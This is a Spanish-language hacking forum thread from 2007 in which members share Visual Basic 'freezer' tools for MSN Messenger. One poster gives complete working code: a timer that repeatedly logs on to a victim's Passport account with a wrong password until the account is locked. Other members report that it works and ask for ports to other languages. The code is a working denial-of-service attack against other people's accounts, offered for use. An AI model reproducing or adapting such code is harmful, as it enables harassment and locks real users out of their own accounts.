Fabricando un congelador tipo ice cold en vb[Optimizado]

Iniciado por Tengu, 28 Julio 2007, 20:17 PM

0 Miembros y 1 Visitante están viendo este tema.

Tengu

hola a todos pido disculpas por nhop escribir antes es q estaba en un viaje.

es verdad lo que dice tughack son demasiadas lineas de codigo para un freezer, pero es debibo a que el codigo lo he sacado de una aplicacion que estoy creando y tiene muchas mas opciones;(tal vez al momento de postearlo quedaron excedentes en el codigo pero crei que seria solo cuestion de tiempo para que los sacaran );la accion del codigo es la de conectar cada 10 segundos a la cuenta (puse 10 segundos para asegurarnos de que todos los intentos darian en el blanco //el tiempo puede bajarse dependiendo de la conexion que se dispone//el codigo realiza  15 intentos de conexion xk no eh contado bien pero creo que con 10 ya es suficiente).

Como dije antes el codigo solo conecta y desconecta asi que todos los exedentes de codigo que sean del tipo dataarrival o algo por el estilo(que son para recibir datos pueden quitarlos por completo y veran que el freezer seguira funcionando.

Esto fue la simple manera que encontre de haqcerlo asi que espero que pueda servirles de algo y lamento si no ha cumplido las expectativas de algunos. salu25


                                                                Tengu..::FireB0y::..

Encuentros por Video y Chat !!

Tengu

ante cualquier duda solo agreguenme a su msn y les pasoi el proyecto totalmente funcional....   salu25 ;D

Encuentros por Video y Chat !!

wACtOr

weno  tengu yo el tuyo si que lo he conseguido hacer funcionar, me costo lo mio, pero lo logre. el de kizar , pues me pasa como a mad, llega al 100%  y nada me puedo conectar como si nada. Por si alguien pregunta, estoy desconectado. Puede ser por que uso gmail?. no creo que fuera eso ya que al estar registrada en passport.

si alguien obtinene una solucion ya sabe donde estamos xDD

Tughack

Cita de: wACtOr en  4 Agosto 2007, 14:38 PM
weno  tengu yo el tuyo si que lo he conseguido hacer funcionar, me costo lo mio, pero lo logre. el de kizar , pues me pasa como a mad, llega al 100%  y nada me puedo conectar como si nada. Por si alguien pregunta, estoy desconectado. Puede ser por que uso gmail?. no creo que fuera eso ya que al estar registrada en passport.

si alguien obtinene una solucion ya sabe donde estamos xDD

Un freezer, caso funcione bien, puede congelar kualier cuenta asociada al net passport.

Probaste el mio?

Salu2

Tengu

#64
Aqui eh vuelto para liberar un nuevo codigo sin fallas y muy optimizado jejejej por k yo no creo en guardarme los codes ya que son uds. "gente del foro" los que me han enseñado a aprender y compartir.. asi q presten atencion.

necesitaremos colocar en referencias(Proyecto->Referencias)

*Messeger Type Library
*Messenger API Type Library
*Messenger Private Type Library


agregar :

1 textbox llamado "txtusermail"
1 command llamado "congelar"
1 timer llamado "timer1"

1 textbox llamado "contador"
2 label llamados lblUserEmail y label1
1 slider llamado conexion



eh aqui el codigo que buscaban jejej si falta algo o falla algo posteenlo aqui salu25

Private MSN As New MsgrObject

Private Sub congelar_Click()
Timer1.Interval = conexion.Value
Timer1.Enabled = True
End Sub




Private Sub Form_Load()
Me.Caption = "Freezer 2 poir tengu jej"
lblUserEmail.Caption = "Direccion de E-mail"
contador.Visible = False
Label1.Caption = "Tiempo para realizar cada conexion"
conexion.Value = "15000"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
contador.Text = Val(contador.Text) + Val("1")
If contador.Text = "20" Then
Timer1.Enabled = False
MsgBox "congelada!!!", vbInformation, "Tengu Freezer 2"
End If
MSN.Logoff
    MSN.Logon txtUserEmail.Text, "Fucked by tengu", MSN.Services.PrimaryService
End Sub


Toodo va en el form1(sin modulos sin nada jejej)

Encuentros por Video y Chat !!

‭‭‭‭jackl007


Tengu

si ves que no funcina primero abre el windows messenger(no te logees solo tenlo abierto)

Encuentros por Video y Chat !!

Tengu

y sino vamos a tener que resignarnos y usar el tuyo tughack jej no nos vendria mal un poco de tu ayuda eh jajaj

Encuentros por Video y Chat !!

‭‭‭‭jackl007

EStoy deacuerdo con eso...
vale la ayuda de tughack

mitripeo

alguien podria pasar ese codigo de VB a otro lenguaje soportado en unix, como C, PHP o perl.... seria bastante efectivo... si alguien puede comuniquemelo mitripeo@mitripeo.com